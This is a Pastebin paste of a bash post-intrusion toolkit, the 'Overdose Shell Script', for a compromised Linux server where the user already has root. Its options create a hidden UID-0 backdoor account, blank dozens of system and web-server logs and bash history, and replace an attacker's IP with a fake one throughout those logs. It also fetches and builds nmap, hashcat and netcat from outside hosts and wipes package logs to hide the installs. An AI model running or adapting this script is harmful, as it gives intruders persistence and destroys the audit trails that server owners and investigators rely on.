Advertisement
Guest User

root.sh

a guest
Jan 19th, 2019
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.71 KB | None | 0 0
  1. #!/bin/bash
  2. #
  3. #Visit http://www.facebook.com/ALG.Cyber.Army
  4. #
  5. #
  6. #Version: 1.0
  7. #
  8. #
  9. #
  10. ################################################################
  11. clear
  12. echo "#########Overdose Shell Script############"
  13. echo "# _____ _ ______ _ # "
  14. echo "#| __ \ | | | ___ \ | | # "
  15. echo "#| | \/ ___ | |_ | |_/ /___ ___ | |_ # "
  16. echo "#| | __ / _ \| __| | // _ \ / _ \| __|# "
  17. echo "#| |_\ \ (_) | |_ | |\ \ (_) | (_) | |_ #"
  18. echo "# \____/\___/ \__| \_| \_\___/ \___/ \__|#"
  19. echo "##########################################"
  20. if [ "$(id -u)" != "0" ]; then
  21. echo ">You Must Run As Root<" 1>&2
  22. exit 1
  23. fi
  24. echo "Usage $0 [option]"
  25. echo ""
  26. echo ""
  27. if [ "$1" == "--help" ] || [ "$1" == "" ]; then
  28. echo "Usage $0 [option]"
  29. echo "--help Displays List Of Options"
  30. echo "--packages Install Various Packages(Run For List)"
  31. echo "--addroot Add Root User"
  32. echo "--spooflogs Spoof Logs With Fake IP"
  33. echo "--clearlogs Blanks Out Logs"
  34. echo "--support Gather Tats To Help Support The Project"
  35. exit
  36. elif [ "$1" == "--addroot" ]; then
  37. echo "[*]Enter Username: "
  38. read rusername
  39. useradd -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M $rusername
  40. echo "$rusername Was Created"
  41. echo "[*]Set Password: "
  42. passwd $rusername
  43. exit
  44. elif [ "$1" == "--clearlogs" ]; then
  45. echo "[*]Clearning Logs..."
  46. echo "------------------------------------"
  47. #Clears 32 Different Logs
  48. blanklog() {
  49. if [ -f ${1} ]; then
  50. echo ""
  51. echo "--[*]Cleared ${1}"
  52. echo "" > ${1}
  53. if [ -f ${1}.1 ]; then
  54. echo "--[*]Cleared ${1} Backup"
  55. echo "" > ${1}.1
  56. fi
  57. fi
  58. }
  59. blanklog /var/log/lastlog
  60. blanklog /var/log/syslog
  61. blanklog /var/log/syslog
  62. blanklog /var/log/messages
  63. blanklog /var/log/httpd/access_log
  64. blanklog /var/log/httpd/access.log
  65. blanklog /var/log/httpd/error_log
  66. blanklog /var/log/httpd/error.log
  67. blanklog /var/log/apache2/access_log
  68. blanklog /var/log/apache2/access.log
  69. blanklog /var/log/apache2/error.log
  70. blanklog /var/log/apache2/error_log
  71. blanklog /var/log/wtmp
  72. blanklog /var/log/secure
  73. blanklog /var/log/xferlog
  74. blanklog /var/log/auth.log
  75. blanklog /var/log/lighttpd/lighttpd.error.log
  76. blanklog /var/log/lighttpd/lighttpd.access.log
  77. blanklog /var/run/utmp
  78. blanklog /var/www/logs/access_log
  79. blanklog /var/www/logs/access.log
  80. blanklog /var/www/logs/error_log
  81. blanklog /var/www/logs/error.log
  82. blanklog /var/log/apache/access_log
  83. blanklog /var/log/apache/access.log
  84. blanklog /var/log/apache/error_log
  85. blanklog /var/log/apache/error.log
  86. blanklog /var/log/yum.log
  87. blanklog /etc/httpd/logs/access_log
  88. blanklog /etc/httpd/logs/access.log
  89. blanklog /etc/httpd/logs/error_log
  90. blanklog /etc/httpd/logs/error.log
  91. echo ""
  92. echo "--[*]Clearing Bash History"
  93. echo -n > ~/.bash_history
  94. history -c
  95. echo "------------------------------------"
  96. echo "[*]All Logs Cleared"
  97. exit
  98. elif [ "$1" == "--packages" ]; then
  99. echo "[*]Listing Packages.."
  100. echo "------------------------------------"
  101. echo ""
  102. echo "0) Install All"
  103. echo "1) NMAP http://nmap.org/"
  104. echo "2) Hashcat http://hashcat.net/"
  105. echo "3) Netcat http://netcat.sourceforge.net/"
  106. echo "Which Would You Like To Install: "
  107. read pinstall
  108. if [ "$pinstall" == "0" ] || [ "$pinstall" == "1" ] || [ "$pinstall" == "2" ] || [ "$pinstall" == "3" ]; then
  109. function nmapinstall {
  110. echo "[*]Checking If Nmap Is Installed:"
  111. if [ -d /usr/local/share/nmap/ ]; then
  112. echo "[*]Nmap Is Installed. --Version"
  113. nmap --version
  114. else
  115. echo "[*]Nmap Is Not Installed"
  116. echo "[*]Nmap Installation Will Now Commence"
  117. wget -c http://nmap.org/dist/nmap-5.59BETA1.tar.bz2
  118. bzip2 -cd nmap-5.59BETA1.tar.bz2 | tar xvf -
  119. cd nmap-5.59BETA1
  120. ./configure
  121. make
  122. make install
  123. echo "[*]Nmap Installed. Now Cleaning Up"
  124. rm -r nmap-5.59BETA1
  125. rm nmap-5.59BETA1.tar.bz2
  126. if [ -f /var/log/dpkg.log ]; then
  127. echo "" > /var/log/dpkg.log
  128. if [ -f /var/log/dpkg.log.1 ]; then
  129. echo "" > /var/log/dpkg.log.1
  130. fi
  131. fi
  132. fi
  133. }
  134. function hashcatinstall {
  135. if [ ! -d /home/sysinstall/ ]; then
  136. mkdir /home/sysinstall
  137. fi
  138. if [ ! -d /home/sysinstall/hashcat/ ]; then
  139. cd /home/sysinstall
  140. wget http://infosecforums.com/uploads/hashcat.tar.gz
  141. tar xvfz hashcat.tar.gz
  142. rm hashcat.tar.gz
  143. else
  144. echo "[*]Hashcat Is Already Installed"
  145. fi
  146.  
  147.  
  148. }
  149. function netcatinstall {
  150. if [ ! -f /usr/local/bin/nc ]; then
  151. if [ ! -d /home/sysinstall/ ]; then
  152. mkdir /home/sysinstall
  153. fi
  154. cd /home/sysinstall
  155. wget http://infosecforums.com/uploads/netcat-0.7.1.tar.gz
  156. tar -xzf netcat-0.7.1.tar.gz
  157. cd netcat-0.7.1.tar.gz
  158. ./configure
  159. make
  160. make install
  161. echo "[*]Netcat Installed. Now Cleaning Up"
  162. rm netcat-0.7.1.tar.gz
  163. rm netcat-0.7.1
  164. if [ -f /var/log/dpkg.log ]; then
  165. echo "" > /var/log/dpkg.log
  166. if [ -f /var/log/dpkg.log.1 ]; then
  167. echo "" > /var/log/dpkg.log.1
  168. fi
  169. fi
  170. else
  171. echo "[*]Netcat Is Already Installed"
  172. fi
  173.  
  174. }
  175. if [ "$pinstall" == "1" ]; then
  176. nmapinstall
  177. elif [ "$pinstall" == "2" ]; then
  178. hashcatinstall
  179. elif [ "$pinstall" == "3" ]; then
  180. netcatinstall
  181. elif [ "$pinstall" == "0" ]; then
  182. nmapinstall
  183. hashcatinstall
  184. netcatinstall
  185. fi
  186. else
  187. echo "Please Enter A Valid Package Number"
  188. exit
  189. fi
  190. elif [ "$1" == "--spooflogs" ]; then
  191. echo "[*]IP To Replace: "
  192. read realip
  193. echo "[*]IP To Replace With: "
  194. read fakeip
  195. echo ""
  196. echo "[*]Spoofing Logs..."
  197. echo "------------------------------------"
  198. spooflog() {
  199. if [ -f ${1} ]; then
  200. echo ""
  201. echo "--[*]Spoofed ${1}"
  202. sed -i "s/$realip/$fakeip/g" ${1}
  203. if [ -f ${1}.1 ]; then
  204. echo "--[*]Spoofed ${1} Backup"
  205. sed -i "s/$realip/$fakeip/g" ${1}.1
  206. fi
  207. fi
  208. }
  209. spooflog /var/log/lastlog
  210. spooflog /var/log/syslog
  211. spooflog /var/log/syslog
  212. spooflog /var/log/messages
  213. spooflog /var/log/httpd/access_log
  214. spooflog /var/log/httpd/access.log
  215. spooflog /var/log/httpd/error_log
  216. spooflog /var/log/httpd/error.log
  217. spooflog /var/log/apache2/access_log
  218. spooflog /var/log/apache2/access.log
  219. spooflog /var/log/apache2/error.log
  220. spooflog /var/log/apache2/error_log
  221. spooflog /var/log/wtmp
  222. spooflog /var/log/secure
  223. spooflog /var/log/xferlog
  224. spooflog /var/log/auth.log
  225. spooflog /var/log/lighttpd/lighttpd.error.log
  226. spooflog /var/log/lighttpd/lighttpd.access.log
  227. spooflog /var/run/utmp
  228. spooflog /var/www/logs/access_log
  229. spooflog /var/www/logs/access.log
  230. spooflog /var/www/logs/error_log
  231. spooflog /var/www/logs/error.log
  232. spooflog /var/log/apache/access_log
  233. spooflog /var/log/apache/access.log
  234. spooflog /var/log/apache/error_log
  235. spooflog /var/log/apache/error.log
  236. spooflog /var/log/yum.log
  237. spooflog /etc/httpd/logs/access_log
  238. spooflog /etc/httpd/logs/access.log
  239. spooflog /etc/httpd/logs/error_log
  240. spooflog /etc/httpd/logs/error.log
  241. echo "------------------------------------"
  242. echo "[*]Logs Spoofed"
  243. elif [ "$1" == "--support" ]; then
  244. echo "[*]If you would like to support the production of this script,"
  245. echo "[*]Email the following stats to f3codeine@yahoo.com"
  246. echo "[*]Server mailer may not send which is why I ask for manual email"
  247. echo "-----------Stats I Would Like----------------"
  248. echo "ls /usr/bin"
  249. echo "[*]This will display installed applications, warning this will display alot of files & dirs."
  250. echo ""
  251. echo "ls /var/log"
  252. echo "[*]This is the defualt location for logs."
  253. echo "-----------------------------------------------"
  254. echo ""
  255. echo "[*]I would very much appreciate if you ran those list commands and sent me the results"
  256. echo "[*]If you want to see this script develope more its a simple task to help out."
  257. fi
  258. ##End of file: Visit http://infosecforums.com
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement